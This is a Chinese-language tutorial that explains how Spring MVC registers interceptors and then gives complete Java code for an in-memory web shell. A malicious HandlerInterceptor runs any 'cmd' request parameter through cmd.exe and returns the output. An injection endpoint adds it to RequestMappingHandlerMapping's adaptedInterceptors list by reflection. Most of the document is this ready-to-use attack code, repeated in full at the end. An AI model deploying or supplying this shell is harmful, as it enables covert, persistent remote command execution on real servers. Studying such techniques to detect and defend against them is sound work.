Interceptor内存马

Interceptor拦截器是Spring框架下的组件,其作用类似于Tomcat中的Filter,Interceptor可以请求到达Controller前进行拦截进行相应操作


Interceptor注册流程

在Interceptor调用的上层方法doDispatch()中,mappedHandler变量中的interceptorList字段就已经存储了我们定义的Interceptor了,因此接下来需要找到interceptorList字段何时被赋值

image-20260115003830705

由于interceptorList字段在mappedHandler中,追溯发现mappedHandlerdoDispatch()方法中被getHandler()方法作为返回值输出

mappedHandler = getHandler(processedRequest);

步入该方法,返回值handler在对mapping调用getHandler()方法时被定义和赋值

@Nullable
protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
if (this.handlerMappings != null) {
for (HandlerMapping mapping : this.handlerMappings) {
HandlerExecutionChain handler = mapping.getHandler(request);
if (handler != null) {
return handler;
}
}
}
return null;
}

注意到某个遍历出来的mapping中含有拦截器

image-20260115004936735

该mapping的类型是确定的RequestMappingHandlerMapping,或许我们可以直接篡改该类的字段,但是现在还不知道拦截器是从interceptors字段还是adaptedInterceptors字段获取的,步入getHandler()

public final HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
Object handler = getHandlerInternal(request);
if (handler == null) {
handler = getDefaultHandler();
}
if (handler == null) {
return null;
}
// Bean name or resolved handler?
if (handler instanceof String) {
String handlerName = (String) handler;
handler = obtainApplicationContext().getBean(handlerName);
}

// Ensure presence of cached lookupPath for interceptors and others
if (!ServletRequestPathUtils.hasCachedPath(request)) {
initLookupPath(request);
}

HandlerExecutionChain executionChain = getHandlerExecutionChain(handler, request);

if (logger.isTraceEnabled()) {
logger.trace("Mapped to " + handler);
}
else if (logger.isDebugEnabled() && !DispatcherType.ASYNC.equals(request.getDispatcherType())) {
logger.debug("Mapped to " + executionChain.getHandler());
}

if (hasCorsConfigurationSource(handler) || CorsUtils.isPreFlightRequest(request)) {
CorsConfiguration config = getCorsConfiguration(handler, request);
if (getCorsConfigurationSource() != null) {
CorsConfiguration globalConfig = getCorsConfigurationSource().getCorsConfiguration(request);
config = (globalConfig != null ? globalConfig.combine(config) : config);
}
if (config != null) {
config.validateAllowCredentials();
}
executionChain = getCorsHandlerExecutionChain(request, executionChain, config);
}

return executionChain;
}

该方法的返回值executionChaingetHandlerExecutionChain()方法被创建,同时也在该方法被赋给了拦截器interceptorList字段

image-20260115005802252

步入getHandlerExecutionChain()方法

protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
HandlerExecutionChain chain = (handler instanceof HandlerExecutionChain ?
(HandlerExecutionChain) handler : new HandlerExecutionChain(handler));

for (HandlerInterceptor interceptor : this.adaptedInterceptors) {
if (interceptor instanceof MappedInterceptor) {
MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor;
if (mappedInterceptor.matches(request)) {
chain.addInterceptor(mappedInterceptor.getInterceptor());
}
}
else {
chain.addInterceptor(interceptor);
}
}
return chain;
}

不难发现,chainaddInterceptor()获取拦截器,传入的拦截器从adaptedInterceptors字段遍历出来,该字段也含有我们定义的拦截器

image-20260115010242888

adaptedInterceptors本质是一个List,是AbstractHandlerMapping类中的字段,该父类的一个子类RequestMappingInfoHandlerMapping的子类RequestMappingHandlerMapping,该类的一个实例对象正好就是webApplicationContex的一个字段,可以借助之前Controller内存马的方法获取RequestMappingHandlerMapping,进而获取adaptedInterceptors


Interceptor内存马构建

编写一个执行命令的恶意拦截器

public class IndexInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest httprequest, @NonNull HttpServletResponse response, @NonNull Object handler) throws Exception {
ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = attributes.getRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
ProcessBuilder processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
StringBuilder result = new StringBuilder();
String output;
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK"));
String line;
while ((line = reader.readLine()) != null) {
result.append(line).append("\n");
}
output = result.toString();
response.setCharacterEncoding("GBK");
response.getWriter().print(output);
} catch (IOException e) {
throw new RuntimeException(e);
}
return false;
}
return true;
}
}

编写触发逻辑,获取web上下文环境,adaptedInterceptors并通过反射获取adaptedInterceptors,将恶意拦截器注入该字段

WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
RequestMappingHandlerMapping handlerMapping = webApplicationContext.getBean(RequestMappingHandlerMapping.class);
Field adaptedInterceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptors.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) adaptedInterceptors.get(handlerMapping);
list.add(new IndexInterceptor());

完整逻辑

@RequestMapping("injectInterceptor")
public String injectInterceptor() throws Exception {
WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
RequestMappingHandlerMapping handlerMapping = webApplicationContext.getBean(RequestMappingHandlerMapping.class);
Field adaptedInterceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptors.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) adaptedInterceptors.get(handlerMapping);
list.add(new IndexInterceptor());
return "injected";
}

public class IndexInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest httprequest, @NonNull HttpServletResponse response, @NonNull Object handler) throws Exception {
ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = attributes.getRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
ProcessBuilder processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
StringBuilder result = new StringBuilder();
String output;
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK"));
String line;
while ((line = reader.readLine()) != null) {
result.append(line).append("\n");
}
output = result.toString();
response.setCharacterEncoding("GBK");
response.getWriter().print(output);
} catch (IOException e) {
throw new RuntimeException(e);
}
return false;
}
return true;
}
}